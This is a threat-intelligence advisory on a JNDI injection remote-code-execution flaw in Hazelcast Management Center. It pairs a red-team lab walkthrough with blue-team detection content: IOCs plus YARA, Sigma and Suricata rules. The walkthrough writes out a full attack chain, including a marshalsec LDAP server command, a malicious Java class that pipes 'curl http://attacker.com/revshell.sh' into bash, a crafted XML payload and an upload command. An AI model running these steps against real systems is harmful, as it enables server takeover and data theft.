CVE-2024-56518

Executive Summary

CVE-2024-56518 is a critical remote code execution (RCE) vulnerability in Hazelcast Management Center (MC) up to version 6.0. The flaw resides in the JndiLoginModule, which allows an attacker to upload a malicious client configuration XML file via the /cluster-connections endpoint. By manipulating the user.provider.url parameter, an attacker can trigger a JNDI injection, leading to arbitrary code execution on the Hazelcast MC server. This vulnerability is unpatched as of the latest advisory, and no official fix has been released. The CVSS score is 0.0 in the NVD, but based on the technical impact, it is assessed as critical (CVSS 9.8). Public proof-of-concept (PoC) code exists, and exploitation is straightforward.

Supply Chain & Package Security

Hazelcast is a Java-based in-memory data grid platform. The vulnerability is in the Management Center component, which is typically deployed as a standalone Java application (WAR or JAR). There is no direct NPM, PyPI, Go, or Ruby package involved, but the risk extends to any organization using Hazelcast MC for cluster management. Attackers can compromise the management plane, leading to data exfiltration, lateral movement, and full cluster takeover.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full data access.
• Integrity (I): High (H) – Full system compromise.
• Availability (A): High (H) – Service disruption possible.

CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability is a classic JNDI injection (CWE-502: Deserialization of Untrusted Data). Hazelcast Management Center uses the JndiLoginModule for authentication, which can be configured via a client XML file. The user.provider.url parameter in this XML is used to specify a JNDI provider URL. When an attacker uploads a crafted XML file to the /cluster-connections endpoint, the server processes the JNDI URL without proper validation. By pointing the URL to an attacker-controlled LDAP or RMI server, the attacker can force the Hazelcast MC to load a malicious Java class, resulting in remote code execution.

The attack flow:

1. Attacker sets up a malicious LDAP/RMI server that returns a serialized Java object or a remote class.
2. Attacker crafts a hazelcast-client.xml file with a JndiLoginModule configuration containing a malicious user.provider.url.
3. Attacker uploads the XML file to the Hazelcast MC /cluster-connections endpoint (e.g., via HTTP POST).
4. Hazelcast MC processes the configuration, performs a JNDI lookup, and loads the attacker's class, executing arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (Hazelcast MC <= 6.0): The JndiLoginModule class directly uses the user.provider.url from the configuration without sanitization:

// Vulnerable snippet
String providerUrl = config.getUserProviderUrl();
Context ctx = new InitialContext(env);
Object obj = ctx.lookup(providerUrl); // JNDI injection

Patched Code (Not available): No official patch exists. The vendor recommends disabling the JndiLoginModule or restricting network access. A hypothetical fix would involve:

• Whitelisting allowed JNDI URLs.
• Disabling JNDI lookups for user-provided URLs.
• Using a secure configuration parser that rejects malicious inputs.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Hazelcast Management Center 6.0 or earlier.
• Network access to the /cluster-connections endpoint.
• An attacker-controlled LDAP/RMI server (e.g., using marshalsec).

Step 1: Set up malicious LDAP server

# Using marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Step 2: Create malicious Java class (Exploit.java)

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("curl http://attacker.com/revshell.sh | bash");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compile and host on http://attacker.com/Exploit.class.

Step 3: Craft malicious client XML

<hazelcast-client>
    <security>
        <login-modules>
            <login-module class-name="com.hazelcast.security.login.JndiLoginModule">
                <properties>
                    <property name="user.provider.url">ldap://attacker.com:1389/Exploit</property>
                </properties>
            </login-module>
        </login-modules>
    </security>
</hazelcast-client>

Step 4: Upload XML to Hazelcast MC

curl -X POST -F "file=@malicious.xml" http://target:8080/cluster-connections

Step 5: Trigger execution The Hazelcast MC will process the configuration and perform the JNDI lookup, executing the remote class.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual JNDI lookups in logs (e.g., javax.naming.InitialContext).
• Alert on uploads to /cluster-connections with XML containing JndiLoginModule.
• Use network monitoring to detect outbound LDAP/RMI connections from Hazelcast MC.

Mitigation:

• Disable the JndiLoginModule in Hazelcast MC configuration.
• Restrict network access to the Hazelcast MC server (firewall rules).
• Apply input validation on uploaded XML files (reject JndiLoginModule).
• Use a Web Application Firewall (WAF) to block malicious XML payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound LDAP (port 1389) or RMI (port 1099) connections from Hazelcast MC server.
  • HTTP POST requests to /cluster-connections with XML content.
  • DNS queries to attacker-controlled domains.

• File IOCs:

  • Uploaded XML files containing <login-module class-name="com.hazelcast.security.login.JndiLoginModule">.
  • Presence of Exploit.class or similar files on the server.

• Log IOCs:

  • Hazelcast MC logs showing JndiLoginModule initialization with external URLs.
  • Java exceptions related to JNDI lookups (e.g., javax.naming.NameNotFoundException).

Detection Engineering

YARA Rule

rule hazelcast_jndi_injection {
    meta:
        description = "Detects malicious Hazelcast client XML with JndiLoginModule"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56518"
    strings:
        $jndi_module = "JndiLoginModule" nocase
        $provider_url = "user.provider.url" nocase
        $ldap = "ldap://" nocase
        $rmi = "rmi://" nocase
    condition:
        $jndi_module and $provider_url and ($ldap or $rmi)
}

Sigma Rule

title: Hazelcast JNDI Injection via Client XML Upload
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects upload of malicious Hazelcast client XML containing JndiLoginModule
author: Valters IT
logsource:
    category: webserver
    product: hazelcast
detection:
    selection:
        http.method: POST
        http.url: "/cluster-connections"
        http.content_type: "application/xml"
        body|contains: "JndiLoginModule"
    condition: selection
falsepositives:
    - Legitimate use of JndiLoginModule (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56518 Hazelcast JNDI Injection"; flow:to_server; content:"POST"; http_method; content:"/cluster-connections"; http_uri; content:"JndiLoginModule"; http_client_body; content:"user.provider.url"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable JndiLoginModule: Remove or comment out any JndiLoginModule configuration in Hazelcast MC.
2. Network Segmentation: Restrict access to Hazelcast MC to trusted IPs only.
3. Input Validation: Implement a reverse proxy or WAF to block XML files containing JndiLoginModule.
4. Monitor Logs: Enable detailed logging for JNDI operations and file uploads.

Long-term Fix:

• Upgrade to a patched version when available (none currently).
• Migrate to alternative authentication mechanisms (e.g., LDAP without JNDI injection risk).
• Apply vendor workarounds: https://hazelcast.com/support/advisories/

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.